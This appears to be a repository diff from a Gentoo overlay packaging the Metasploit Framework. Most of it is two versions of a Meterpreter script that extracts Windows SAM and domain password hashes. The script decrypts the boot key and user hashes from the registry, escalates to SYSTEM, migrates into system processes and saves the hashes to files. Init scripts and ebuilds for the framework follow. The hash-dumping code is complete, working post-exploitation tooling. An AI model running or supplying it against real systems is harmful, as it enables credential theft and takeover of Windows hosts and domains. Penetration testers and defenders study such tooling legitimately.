#-------------------------------------------------------------------------------
def log_folder_create(log_path = nil)
#Get hostname
host = @client.sys.config.sysinfo["Computer"]
# Create Filename info to be appended to downloaded files
filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")
# Create a directory for the logs
if log_path
logs = ::File.join(log_path, 'initial_gather', host + filenameinfo )
else
logs = ::File.join(Msf::Config.log_directory, "scripts", 'initial_gather', host + filenameinfo )
end
# Create the log directory
::FileUtils.mkdir_p(logs)
return logs
end
def capture_boot_key
bootkey = ""
basekey = "System\\CurrentControlSet\\Control\\Lsa"
%W{JD Skew1 GBG Data}.each do |k|
ok = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, basekey + "\\" + k, KEY_READ)
return nil if not ok
bootkey << [ok.query_class.to_i(16)].pack("V")
ok.close
end
keybytes = bootkey.unpack("C*")
descrambled = ""
# descrambler = [ 0x08, 0x05, 0x04, 0x02, 0x0b, 0x09, 0x0d, 0x03, 0x00, 0x06, 0x01, 0x0c, 0x0e, 0x0a, 0x0f, 0x07 ]
descrambler = [ 0x0b, 0x06, 0x07, 0x01, 0x08, 0x0a, 0x0e, 0x00, 0x03, 0x05, 0x02, 0x0f, 0x0d, 0x09, 0x0c, 0x04 ]
0.upto(keybytes.length-1) do |x|
descrambled << [ keybytes[ descrambler[x] ] ].pack("C")
end
descrambled
end
def capture_hboot_key(bootkey)
ok = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account", KEY_READ)
return if not ok
vf = ok.query_value("F")
return if not vf
vf = vf.data
ok.close
hash = Digest::MD5.new
hash.update(vf[0x70, 16] + @sam_qwerty + bootkey + @sam_numeric)
rc4 = OpenSSL::Cipher::Cipher.new("rc4")
rc4.key = hash.digest
hbootkey = rc4.update(vf[0x80, 32])
hbootkey << rc4.final
return hbootkey
end
def capture_user_keys
users = {}
ok = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users", KEY_READ)
return if not ok
ok.enum_key.each do |usr|
uk = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\#{usr}", KEY_READ)
next if usr == 'Names'
users[usr.to_i(16)] ||={}
users[usr.to_i(16)][:F] = uk.query_value("F").data
users[usr.to_i(16)][:V] = uk.query_value("V").data
uk.close
end
ok.close
ok = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\Names", KEY_READ)
ok.enum_key.each do |usr|
uk = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\Names\\#{usr}", KEY_READ)
r = uk.query_value("")
rid = r.type
users[rid] ||= {}
users[rid][:Name] = usr
uk.close
end
ok.close
users
end
def decrypt_user_keys(hbootkey, users)
users.each_key do |rid|
user = users[rid]
hashlm_off = nil
hashnt_off = nil
hashlm_enc = nil
hashnt_enc = nil
hoff = user[:V][0x9c, 4].unpack("V")[0] + 0xcc
# Lanman and NTLM hash available
if(hoff + 0x28 < user[:V].length)
hashlm_off = hoff + 4
hashnt_off = hoff + 24
hashlm_enc = user[:V][hashlm_off, 16]
hashnt_enc = user[:V][hashnt_off, 16]
# No stored lanman hash
elsif (hoff + 0x14 < user[:V].length)
hashnt_off = hoff + 8
hashnt_enc = user[:V][hashnt_off, 16]
hashlm_enc = ""
# No stored hashes at all
else
hashnt_enc = hashlm_enc = ""
end
user[:hashlm] = decrypt_user_hash(rid, hbootkey, hashlm_enc, @sam_lmpass)
user[:hashnt] = decrypt_user_hash(rid, hbootkey, hashnt_enc, @sam_ntpass)
end
users
end
def convert_des_56_to_64(kstr)
key = []
str = kstr.unpack("C*")
key[0] = str[0] >> 1
key[1] = ((str[0] & 0x01) << 6) | (str[1] >> 2)
key[2] = ((str[1] & 0x03) << 5) | (str[2] >> 3)
key[3] = ((str[2] & 0x07) << 4) | (str[3] >> 4)
key[4] = ((str[3] & 0x0F) << 3) | (str[4] >> 5)
key[5] = ((str[4] & 0x1F) << 2) | (str[5] >> 6)
key[6] = ((str[5] & 0x3F) << 1) | (str[6] >> 7)
key[7] = str[6] & 0x7F
0.upto(7) do |i|
key[i] = ( key[i] << 1)
key[i] = @des_odd_parity[key[i]]
end
key.pack("C*")
end
def rid_to_key(rid)
s1 = [rid].pack("V")
s1 << s1[0,3]
s2b = [rid].pack("V").unpack("C4")
s2 = [s2b[3], s2b[0], s2b[1], s2b[2]].pack("C4")
s2 << s2[0,3]
[convert_des_56_to_64(s1), convert_des_56_to_64(s2)]
end
def decrypt_user_hash(rid, hbootkey, enchash, pass)
if(enchash.empty?)
case pass
when @sam_lmpass
return @sam_empty_lm
when @sam_ntpass
return @sam_empty_nt
end
return ""
end
des_k1, des_k2 = rid_to_key(rid)
d1 = OpenSSL::Cipher::Cipher.new('des-ecb')
d1.padding = 0
d1.key = des_k1
d2 = OpenSSL::Cipher::Cipher.new('des-ecb')
d2.padding = 0
d2.key = des_k2
md5 = Digest::MD5.new
md5.update(hbootkey[0,16] + [rid].pack("V") + pass)
rc4 = OpenSSL::Cipher::Cipher.new('rc4')
rc4.key = md5.digest
okey = rc4.update(enchash)
d1o = d1.decrypt.update(okey[0,8])
d1o << d1.final
d2o = d2.decrypt.update(okey[8,8])
d1o << d2.final
d1o + d2o
end
def read_hashdump
collected_hashes = ""
begin
print_status("\tObtaining the boot key...")
bootkey = capture_boot_key
print_status("\tCalculating the hboot key using SYSKEY #{bootkey.unpack("H*")[0]}...")
hbootkey = capture_hboot_key(bootkey)
print_status("\tObtaining the user list and keys...")
users = capture_user_keys
print_status("\tDecrypting user keys...")
users = decrypt_user_keys(hbootkey, users)
print_status("\tDumping password hashes...")
users.keys.sort{|a,b| a<=>b}.each do |rid|
# next if guest account or support account
next if rid == 501 or rid == 1001
collected_hashes << "#{users[rid][:Name]}:#{rid}:#{users[rid][:hashlm].unpack("H*")[0]}:#{users[rid][:hashnt].unpack("H*")[0]}:::\n"
@client.framework.db.report_auth_info(
:host => @client.sock.peerhost,
:port => @smb_port,
:sname => 'smb',
:user => users[rid][:Name],
:pass => users[rid][:hashlm].unpack("H*")[0] +":"+ users[rid][:hashnt].unpack("H*")[0],
:type => "smb_hash"
)
end
rescue ::Interrupt
raise $!
rescue ::Rex::Post::Meterpreter::RequestError => e
print_error("Meterpreter Exception: #{e.class} #{e}")
print_error("This script requires the use of a SYSTEM user context (hint: migrate into service process)")
rescue ::Exception => e
print_error("Error: #{e.class} #{e} #{e.backtrace}")
end
return collected_hashes
end
def inject_hashdump
collected_hashes = ""
# Load priv extension
@client.core.use("priv")
# dump hashes
@client.priv.sam_hashes.each do |h|
returned_hash = h.to_s.split(":")
rid = returned_hash[1].to_i
next if rid == 501 or rid == 1001
collected_hashes << h.to_s
@client.framework.db.report_auth_info(
:host => @client.sock.peerhost,
:port => @smb_port,
:sname => 'smb',
:user => returned_hash[0],
:pass => returned_hash[2] +":"+ returned_hash[3],
:type => "smb_hash"
)
end
return collected_hashes
end
# Function for checking if target is a DC
def is_dc?
is_dc_srv = false
serviceskey = "HKLM\\SYSTEM\\CurrentControlSet\\Services"
if registry_enumkeys(serviceskey).include?("NTDS")
print_good("\tThis host is a Domain Contoller!")
is_dc_srv = true
end
return is_dc_srv
end
def smart_hash_dump(pwdfile)
domain_controler = is_dc?
if not is_uac_enabled? or is_admin?
print_status("Dumping password hashes...")
# Check if Running as SYSTEM
if @client.sys.config.getuid == "NT AUTHORITY\\SYSTEM"
# For DC's the registry read method does not work.
if not domain_controler
print_status "Running as SYSTEM extracting hashes from registry"
read_hashdump.each_line do |h|
print_good("\t#{h.chomp}")
file_local_write(pwdfile,h.chomp)
end
else
inject_hashdump.each_line do |h|
print_good("\t#{h}")
file_local_write(pwdfile,h)
end
end
else
if @client.sys.config.sysinfo['OS'] =~ /(Windows 7|2008|Vista)/i
print_error("On thos version of Windows you need to be NT AUTHORITY\\SYSTEM to dump the hashes")
print_error("Migrate in to a service process if possible.")
else
inject_hashdump.each_line do |h|
print_good("\t#{h}")
file_local_write(pwdfile,h)
end
end
end
else
print_error("Insuficient privileges to dump hashes!")
end
end
################## Main ##################
exec_opts.parse(args) { |opt, idx, val|
case opt
when "-h"
usage
when "-l"
if ::File.directory? val
log_folder = log_folder_create(val)
else
print_error("Option provided #{val} is not a folder!")
raise Rex::Script::Completed
end
end
}
# Check for Version of Meterpreter
wrong_meter_version(meter_type) if meter_type !~ /win32|win64/i
# Create Folder for logs and get path for logs
if not log_folder
log_folder = log_folder_create
end
# Define file names
pwd_file = ::File.join(log_folder,@client.sys.config.sysinfo["Computer"]+".pwd")
# Gather info
print_status("Saving logs to #{log_folder}")
smart_hash_dump(pwd_file)

View file

@ -1,13 +0,0 @@
# Config file for /etc/init.d/metasploit
# Pidfile
PIDFILE=/var/run/msfweb.pid
# Bind to the following IP instead of the loopback address
IPADDR=127.0.0.1
# Bind to the following TCP port instead of default 55555
PORT=55555
# All options
MSF_OPTS="-a $IPADDR -p $PORT"

View file

@ -1,18 +0,0 @@
#!/sbin/runscript
# Copyright 1999-2005 Gentoo Foundation
# Distributed under the terms of the GNU General Public License v2
# $Header: /var/cvsroot/gentoo-x86/net-analyzer/metasploit/files/msfweb.initd,v 1.3 2006/11/03 12:08:57 pva Exp $
start() {
ebegin "Starting msfweb"
start-stop-daemon --start --quiet --background --exec /usr/bin/msfweb \
--pidfile ${PIDFILE} --make-pidfile -- ${MSF_OPTS}
eend $?
}
stop() {
ebegin "Stopping msfweb"
start-stop-daemon --stop --quiet --pidfile ${PIDFILE}
rm -f ${PIDFILE}
eend $?
}

View file

@ -1,520 +0,0 @@
# $Id$
# $Revision$
# Author: Carlos Perez at carlos_perez[at]darkoperator.com
#-------------------------------------------------------------------------------
################## Variable Declarations ##################
@client = client
@smb_port = 445
log_folder = nil
# Constants for SAM decryption
@sam_lmpass = "LMPASSWORD\x00"
@sam_ntpass = "NTPASSWORD\x00"
@sam_qwerty = "!@\#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\x00"
@sam_numeric = "0123456789012345678901234567890123456789\x00"
@sam_empty_lm = ["aad3b435b51404eeaad3b435b51404ee"].pack("H*")
@sam_empty_nt = ["31d6cfe0d16ae931b73c59d7e0c089c0"].pack("H*")
@des_odd_parity = [
1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14,
16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31,
32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47,
49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62,
64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79,
81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94,
97, 97, 98, 98,100,100,103,103,104,104,107,107,109,109,110,110,
112,112,115,115,117,117,118,118,121,121,122,122,124,124,127,127,
128,128,131,131,133,133,134,134,137,137,138,138,140,140,143,143,
145,145,146,146,148,148,151,151,152,152,155,155,157,157,158,158,
161,161,162,162,164,164,167,167,168,168,171,171,173,173,174,174,
176,176,179,179,181,181,182,182,185,185,186,186,188,188,191,191,
193,193,194,194,196,196,199,199,200,200,203,203,205,205,206,206,
208,208,211,211,213,213,214,214,217,217,218,218,220,220,223,223,
224,224,227,227,229,229,230,230,233,233,234,234,236,236,239,239,
241,241,242,242,244,244,247,247,248,248,251,251,253,253,254,254
]
@exec_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help menu." ],
"-l" => [ true, "Log folder to save results, if none provided default log path will be used."],
"-s" => [ true, "Try to get SYSTEM Privilege"]
)
meter_type = client.platform
################## Function Declarations ##################
# Usage Message Function
#-------------------------------------------------------------------------------
def usage
print_line "Meterpreter Script for automating the dumping of local accounts from"
print_line "the SAM Database and if the targets host is a Domain Controller the"
print_line "Domain Account Database using the proper technique depending on "
print_line "privilage level, OS and Role of host."
print_line(@exec_opts.usage)
raise Rex::Script::Completed
end
# Wrong Meterpreter Version Message Function
#-------------------------------------------------------------------------------
def wrong_meter_version(meter = meter_type)
print_error("#{meter} version of Meterpreter is not supported with this Script!")
raise Rex::Script::Completed
end
# Log folder creation Function
#-------------------------------------------------------------------------------
def log_folder_create(log_path = nil)
#Get hostname
host = @client.sys.config.sysinfo["Computer"]
# Create Filename info to be appended to downloaded files
filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")
# Create a directory for the logs
if log_path
logs = ::File.join(log_path, 'initial_gather', host + filenameinfo )
else
logs = ::File.join(Msf::Config.log_directory, "scripts", 'initial_gather', host + filenameinfo )
end
# Create the log directory
::FileUtils.mkdir_p(logs)
return logs
end
def capture_boot_key
bootkey = ""
basekey = "System\\CurrentControlSet\\Control\\Lsa"
%W{JD Skew1 GBG Data}.each do |k|
ok = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, basekey + "\\" + k, KEY_READ)
return nil if not ok
bootkey << [ok.query_class.to_i(16)].pack("V")
ok.close
end
keybytes = bootkey.unpack("C*")
descrambled = ""
# descrambler = [ 0x08, 0x05, 0x04, 0x02, 0x0b, 0x09, 0x0d, 0x03, 0x00, 0x06, 0x01, 0x0c, 0x0e, 0x0a, 0x0f, 0x07 ]
descrambler = [ 0x0b, 0x06, 0x07, 0x01, 0x08, 0x0a, 0x0e, 0x00, 0x03, 0x05, 0x02, 0x0f, 0x0d, 0x09, 0x0c, 0x04 ]
0.upto(keybytes.length-1) do |x|
descrambled << [ keybytes[ descrambler[x] ] ].pack("C")
end
descrambled
end
#-------------------------------------------------------------------------------
def capture_hboot_key(bootkey)
ok = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account", KEY_READ)
return if not ok
vf = ok.query_value("F")
return if not vf
vf = vf.data
ok.close
hash = Digest::MD5.new
hash.update(vf[0x70, 16] + @sam_qwerty + bootkey + @sam_numeric)
rc4 = OpenSSL::Cipher::Cipher.new("rc4")
rc4.key = hash.digest
hbootkey = rc4.update(vf[0x80, 32])
hbootkey << rc4.final
return hbootkey
end
#-------------------------------------------------------------------------------
def capture_user_keys
users = {}
ok = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users", KEY_READ)
return if not ok
ok.enum_key.each do |usr|
uk = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\#{usr}", KEY_READ)
next if usr == 'Names'
users[usr.to_i(16)] ||={}
users[usr.to_i(16)][:F] = uk.query_value("F").data
users[usr.to_i(16)][:V] = uk.query_value("V").data
uk.close
end
ok.close
ok = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\Names", KEY_READ)
ok.enum_key.each do |usr|
uk = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\Names\\#{usr}", KEY_READ)
r = uk.query_value("")
rid = r.type
users[rid] ||= {}
users[rid][:Name] = usr
uk.close
end
ok.close
users
end
#-------------------------------------------------------------------------------
def decrypt_user_keys(hbootkey, users)
users.each_key do |rid|
user = users[rid]
hashlm_off = nil
hashnt_off = nil
hashlm_enc = nil
hashnt_enc = nil
hoff = user[:V][0x9c, 4].unpack("V")[0] + 0xcc
# Lanman and NTLM hash available
if(hoff + 0x28 < user[:V].length)
hashlm_off = hoff + 4
hashnt_off = hoff + 24
hashlm_enc = user[:V][hashlm_off, 16]
hashnt_enc = user[:V][hashnt_off, 16]
# No stored lanman hash
elsif (hoff + 0x14 < user[:V].length)
hashnt_off = hoff + 8
hashnt_enc = user[:V][hashnt_off, 16]
hashlm_enc = ""
# No stored hashes at all
else
hashnt_enc = hashlm_enc = ""
end
user[:hashlm] = decrypt_user_hash(rid, hbootkey, hashlm_enc, @sam_lmpass)
user[:hashnt] = decrypt_user_hash(rid, hbootkey, hashnt_enc, @sam_ntpass)
end
users
end
#-------------------------------------------------------------------------------
def convert_des_56_to_64(kstr)
key = []
str = kstr.unpack("C*")
key[0] = str[0] >> 1
key[1] = ((str[0] & 0x01) << 6) | (str[1] >> 2)
key[2] = ((str[1] & 0x03) << 5) | (str[2] >> 3)
key[3] = ((str[2] & 0x07) << 4) | (str[3] >> 4)
key[4] = ((str[3] & 0x0F) << 3) | (str[4] >> 5)
key[5] = ((str[4] & 0x1F) << 2) | (str[5] >> 6)
key[6] = ((str[5] & 0x3F) << 1) | (str[6] >> 7)
key[7] = str[6] & 0x7F
0.upto(7) do |i|
key[i] = ( key[i] << 1)
key[i] = @des_odd_parity[key[i]]
end
key.pack("C*")
end
#-------------------------------------------------------------------------------
def rid_to_key(rid)
s1 = [rid].pack("V")
s1 << s1[0,3]
s2b = [rid].pack("V").unpack("C4")
s2 = [s2b[3], s2b[0], s2b[1], s2b[2]].pack("C4")
s2 << s2[0,3]
[convert_des_56_to_64(s1), convert_des_56_to_64(s2)]
end
#-------------------------------------------------------------------------------
def decrypt_user_hash(rid, hbootkey, enchash, pass)
if(enchash.empty?)
case pass
when @sam_lmpass
return @sam_empty_lm
when @sam_ntpass
return @sam_empty_nt
end
return ""
end
des_k1, des_k2 = rid_to_key(rid)
d1 = OpenSSL::Cipher::Cipher.new('des-ecb')
d1.padding = 0
d1.key = des_k1
d2 = OpenSSL::Cipher::Cipher.new('des-ecb')
d2.padding = 0
d2.key = des_k2
md5 = Digest::MD5.new
md5.update(hbootkey[0,16] + [rid].pack("V") + pass)
rc4 = OpenSSL::Cipher::Cipher.new('rc4')
rc4.key = md5.digest
okey = rc4.update(enchash)
d1o = d1.decrypt.update(okey[0,8])
d1o << d1.final
d2o = d2.decrypt.update(okey[8,8])
d1o << d2.final
d1o + d2o
end
#-------------------------------------------------------------------------------
def read_hashdump
collected_hashes = ""
begin
print_status("\tObtaining the boot key...")
bootkey = capture_boot_key
print_status("\tCalculating the hboot key using SYSKEY #{bootkey.unpack("H*")[0]}...")
hbootkey = capture_hboot_key(bootkey)
print_status("\tObtaining the user list and keys...")
users = capture_user_keys
print_status("\tDecrypting user keys...")
users = decrypt_user_keys(hbootkey, users)
print_status("\tDumping password hashes...")
users.keys.sort{|a,b| a<=>b}.each do |rid|
# next if guest account or support account
next if rid == 501 or rid == 1001
collected_hashes << "#{users[rid][:Name]}:#{rid}:#{users[rid][:hashlm].unpack("H*")[0]}:#{users[rid][:hashnt].unpack("H*")[0]}:::\n"
@client.framework.db.report_auth_info(
:host => @client.sock.peerhost,
:port => @smb_port,
:sname => 'smb',
:user => users[rid][:Name],
:pass => users[rid][:hashlm].unpack("H*")[0] +":"+ users[rid][:hashnt].unpack("H*")[0],
:type => "smb_hash"
)
end
rescue ::Interrupt
raise $!
rescue ::Rex::Post::Meterpreter::RequestError => e
print_error("Meterpreter Exception: #{e.class} #{e}")
print_error("This script requires the use of a SYSTEM user context (hint: migrate into service process)")
rescue ::Exception => e
print_error("Error: #{e.class} #{e} #{e.backtrace}")
end
return collected_hashes
end
#-------------------------------------------------------------------------------
def inject_hashdump
collected_hashes = ""
# Load priv extension
@client.core.use("priv")
# dump hashes
@client.priv.sam_hashes.each do |h|
returned_hash = h.to_s.split(":")
rid = returned_hash[1].to_i
next if rid == 501 or rid == 1001
collected_hashes << h.to_s + "\n"
@client.framework.db.report_auth_info(
:host => @client.sock.peerhost,
:port => @smb_port,
:sname => 'smb',
:user => returned_hash[0].gsub(/[\x80-\xff]/,''),
:pass => returned_hash[2] +":"+ returned_hash[3],
:type => "smb_hash"
)
end
return collected_hashes
end
#-------------------------------------------------------------------------------
# Function for checking if target is a DC
def is_dc?
is_dc_srv = false
serviceskey = "HKLM\\SYSTEM\\CurrentControlSet\\Services"
if registry_enumkeys(serviceskey).include?("NTDS")
if registry_enumkeys(serviceskey + "\\NTDS").include?("Parameters")
print_good("\tThis host is a Domain Contoller!")
is_dc_srv = true
end
end
return is_dc_srv
end
#-------------------------------------------------------------------------------
# Function to migrate to a process running as SYSTEM
def move_to_sys
# Make sure you got the correct SYSTEM Account Name no matter the OS Language
local_sys = resolve_sid("S-1-5-18")
system_account_name = "#{local_sys[:domain]}\\#{local_sys[:name]}"
# Processes that can Blue Screen a host if migrated in to
dangerous_processes = ["lsass.exe", "csrss.exe", "smss.exe"]
print_status("Migrating to process owned by SYSTEM")
@client.sys.process.processes.each do |p|
# Check we are not migrating to a process that can BSOD the host
next if dangerous_processes.include?(p["name"])
next if p["pid"] == @client.sys.process.getpid
if p["user"] == system_account_name
print_status("Migrating to #{p["name"]}")
@client.core.migrate(p["pid"])
print_good("Successfully migrated to #{p["name"]}")
return
end
end
end
#-------------------------------------------------------------------------------
def smart_hash_dump(pwdfile, migrate_system)
domain_controler = is_dc?
if not is_uac_enabled? or is_admin?
print_status("Dumping password hashes...")
# Check if Running as SYSTEM
if is_system?
# For DC's the registry read method does not work.
if domain_controler
begin
inject_hashdump.each_line do |h|
print_good("\t#{h}".chomp)
file_local_write(pwdfile,h)
end
rescue::Exception => e
print_error("Failed to dump hashes as SYSTEM, trying to migrate to another process")
print_error(e.class)
print_error(e)
if @client.sys.config.sysinfo['OS'] =~ /(Windows 2008)/i
move_to_sys
inject_hashdump.each_line do |h|
print_good("\t#{h}".chomp)
file_local_write(pwdfile,h)
end
else
print_error("Could not get Domain Hashes!")
end
end
# Check if not DC
else
print_status "Running as SYSTEM extracting hashes from registry"
read_hashdump.each_line do |h|
print_good("\t#{h.chomp}")
file_local_write(pwdfile,h.chomp)
end
end
# Check if not running as SYSTEM
else
# Check if Domain Controller
if domain_controler
begin
inject_hashdump.each_line do |h|
print_good("\t#{h}")
file_local_write(pwdfile,h)
end
rescue
if migrate_system
print_status("Trying to get SYSTEM Privilege")
results = @client.priv.getsystem
if results[0]
print_good("Got SYSTEM Privelege")
if @client.sys.config.sysinfo['OS'] =~ /(Windows 2008)/i
# Migrate process since on Windows 2008 R2 getsystem
# does not set certain privilege tokens required to
# inject and dump the hashes.
move_to_sys
end
inject_hashdump.each_line do |h|
print_good("\t#{h}".chomp)
file_local_write(pwdfile,h)
end
end
else
print_error("Could not get Domain Hashes!")
end
end
elsif @client.sys.config.sysinfo['OS'] =~ /(Windows 7|2008|Vista)/i
if migrate_system
print_status("Trying to get SYSTEM Privilege")
results = @client.priv.getsystem
if results[0]
print_good("Got SYSTEM Privelege")
read_hashdump.each_line do |h|
print_good("\t#{h.chomp}")
file_local_write(pwdfile,h.chomp)
end
end
else
print_error("On this version of Windows you need to be NT AUTHORITY\\SYSTEM to dump the hashes")
print_error("Try the -s option.")
end
else
puts migrate_system
if migrate_system
print_status("Trying to get SYSTEM Privilege")
results = @client.priv.getsystem
if results[0]
print_good("Got SYSTEM Privelege")
read_hashdump.each_line do |h|
print_good("\t#{h.chomp}")
file_local_write(pwdfile,h.chomp)
end
end
else
inject_hashdump.each_line do |h|
print_good("\t#{h}")
file_local_write(pwdfile,h)
end
end
end
end
else
print_error("Insuficient privileges to dump hashes!")
end
end
################## Main ##################
migrate_system = false
@exec_opts.parse(args) { |opt, idx, val|
case opt
when "-h"
usage
when "-l"
if ::File.directory? val
log_folder = log_folder_create(val)
else
print_error("Option provided #{val} is not a folder!")
raise Rex::Script::Completed
end
when "-s"
migrate_system = true
end
}
# Check for Version of Meterpreter
wrong_meter_version(meter_type) if meter_type !~ /win32|win64/i
# Create Folder for logs and get path for logs
if not log_folder
log_folder = log_folder_create
end
# Define file names
pwd_file = ::File.join(log_folder,@client.sys.config.sysinfo["Computer"]+".pwd")
# Gather info
print_status("Saving logs to #{log_folder}")
smart_hash_dump(pwd_file, migrate_system)

View file

@ -1,59 +0,0 @@
# Copyright 1999-2008 Gentoo Foundation
# Distributed under the terms of the GNU General Public License v2
# $Header: /var/cvsroot/gentoo-x86/net-analyzer/metasploit/metasploit-2.7.ebuild,v 1.8 2008/03/23 16:02:01 pva Exp $
EAPI=3
inherit eutils
MY_P="${P/metasploit/framework}"
S="${WORKDIR}/${MY_P}"
DESCRIPTION="Advanced open-source framework for developing, testing, and using vulnerability exploit code"
HOMEPAGE="http://www.metasploit.org/"
SRC_URI="http://metasploit.com/tools/${MY_P}.tar.gz"
LICENSE="GPL-2 Artistic"
SLOT="2.7"
KEYWORDS="amd64 ppc ~sparc x86"
IUSE=""
DEPEND="app-admin/eselect-metasploit"
RDEPEND="dev-lang/perl
dev-perl/Net-SSLeay
dev-perl/Term-ReadLine-Perl
dev-perl/TermReadKey"
QA_PREBUILD="
usr/$(get_libdir)/${PN}${SLOT}/data/.svn/text-base/shelldemo.svn-base
usr/$(get_libdir)/${PN}${SLOT}/data/shelldemo"
src_install() {
# should be as simple as copying everything into the target...
dodir /usr/$(get_libdir)/${PN}${SLOT}
cp -pPR "${S}" "${ED}"/usr/$(get_libdir)/${PN}${SLOT} || die
# and creating symlinks in the /usr/bin dir
dodir /usr/bin/
cd "${ED}"/usr/bin
#handled by metasploit.eselect now
#ln -s ../$(get_libdir)/${PN}${SLOT}/msf* ./ || die
chown -R root:0 "${D}"
newinitd "${FILESDIR}"/msfweb.initd msfweb || die "newinitd failed"
newconfd "${FILESDIR}"/msfweb.confd msfweb || die "newconfd failed"
}
pkg_postinst() {
"${EROOT}"/usr/bin/eselect metasploit set --use-old ${PN}${SLOT}
elog "To update metasploit modules run:"
elog " # cd /usr/$(get_libdir)/metasploit${SLOT} && svn update"
}
pkg_postrm() {
if [[ -d /usr/lib/metasploit ]] ; then
ewarn "If you ever updated modules emerge will keep /var/lib/metasploit${SLOT}"
ewarn "directory. Thus to remove metasploit completely do not forgive to:"
ewarn " # rm -r /usr/lib/metasploit{SLOT}"
fi
}

View file

@ -1,211 +0,0 @@
# Copyright 1999-2012 Gentoo Foundation
# Distributed under the terms of the GNU General Public License v2
# $Header: /var/cvsroot/gentoo-x86/net-analyzer/metasploit/metasploit-4.3.0.ebuild,v 1.2 2012/06/08 09:28:04 patrick Exp $
EAPI="4"
inherit eutils
MY_P=${PN/metasploit/framework}-${PV}
MTSLPT_REV=${BASH_REMATCH[2]}
SRC_URI="http://downloads.metasploit.com/data/releases/framework-${PV}.tar.bz2"
#https://dev.metasploit.com/redmine/attachments/download/906/vbsmem-1.2.1.patch
# https://dev.metasploit.com/redmine/attachments/1200/jboss_seam_remote_command_rb"
DESCRIPTION="Advanced open-source framework for developing, testing, and using vulnerability exploit code"
HOMEPAGE="http://www.metasploit.org/"
SLOT="4.4"
LICENSE="BSD"
KEYWORDS="~amd64 ~arm ~x86"
IUSE="+armitage gui lorcon lorcon2 +postgres serialport"
REQUIRED_USE="armitage? ( postgres )"
# Note we use bundled gems (see data/msfweb/vendor/rails/) as upstream voted for
# such solution, bug #247787
RDEPEND="dev-lang/ruby[ssl]
dev-ruby/rubygems
dev-ruby/kissfft
app-admin/eselect-metasploit
>=app-crypt/johntheripper-1.7.9-r1[-minimal]
!arm? ( dev-ruby/hpricot
gui? ( virtual/jre )
dev-ruby/rjb
>=dev-ruby/msgpack-0.4.6
>=dev-ruby/json-1.6.6
>=dev-ruby/nokogiri-1.5.2 )
postgres? ( dev-db/postgresql-server
!arm? ( >=dev-ruby/pg-0.13.2
>=dev-ruby/activerecord-3.2.2[postgres] ) )
armitage? ( net-analyzer/nmap )
lorcon? ( net-wireless/lorcon-old )
lorcon2? ( net-wireless/lorcon )"
DEPEND=""
RESTRICT="strip"
QA_EXECSTACK="
usr/$(get_libdir)/${PN}${SLOT}/data/meterpreter/msflinker_linux_x86.bin"
QA_WX_LOAD="
usr/$(get_libdir)/${PN}${SLOT}/data/templates/template_*_linux.bin"
QA_PREBUILT="
usr/$(get_libdir)/${PN}${SLOT}/data/meterpreter/ext_server_sniffer.lso
usr/$(get_libdir)/${PN}${SLOT}/data/meterpreter/ext_server_networkpug.lso
usr/$(get_libdir)/${PN}${SLOT}/data/meterpreter/ext_server_stdapi.lso
usr/$(get_libdir)/${PN}${SLOT}/data/templates/template_x86_solaris.bin
usr/$(get_libdir)/${PN}${SLOT}/data/templates/template_x86_bsd.bin
usr/$(get_libdir)/${PN}${SLOT}/data/cpuinfo/cpuinfo.ia32.bin
usr/$(get_libdir)/${PN}${SLOT}/data/cpuinfo/cpuinfo.ia64.bin
usr/$(get_libdir)/${PN}${SLOT}/data/templates/template_x86_linux.bin
usr/$(get_libdir)/${PN}${SLOT}/data/templates/template_armle_linux.bin
usr/$(get_libdir)/${PN}${SLOT}/data/templates/template_x64_linux.bin
usr/$(get_libdir)/${PN}${SLOT}/data/meterpreter/msflinker_linux_x86.bin
"
S=${WORKDIR}/msf3
src_prepare() {
rm "${S}"/msfupdate
use gui || rm msfgui
}
src_compile() {
# if use pcaprub; then
# cd "${S}"/external/pcaprub
# ruby extconf.rb
# emake
# fi
if use lorcon; then
cd "${S}"/external/ruby-lorcon
ruby extconf.rb
emake
fi
if use lorcon2; then
cd "${S}"/external/ruby-lorcon2
ruby extconf.rb
emake
fi
if use serialport; then
cd "${S}"/external/serialport
ruby extconf.rb
emake
fi
}
src_install() {
# should be as simple as copying everything into the target...
dodir /usr/$(get_libdir)/${PN}${SLOT}
cp -R "${S}"/* "${ED}"/usr/$(get_libdir)/${PN}${SLOT} || die "Copy files failed"
rm -Rf "${ED}"/usr/$(get_libdir)/${PN}${SLOT}/documentation "${ED}"/usr/$(get_libdir)/${PN}${SLOT}/README.md "${ED}"/usr/$(get_libdir)/${PN}${SLOT}/THIRD-PARTY.md || die
fowners -R root:0 /
# do not remove LICENSE, bug #238137
dodir /usr/share/doc/${PF}
cp -R "${S}"/{documentation,README.md,THIRD-PARTY.md} "${ED}"/usr/share/doc/${PF} || die
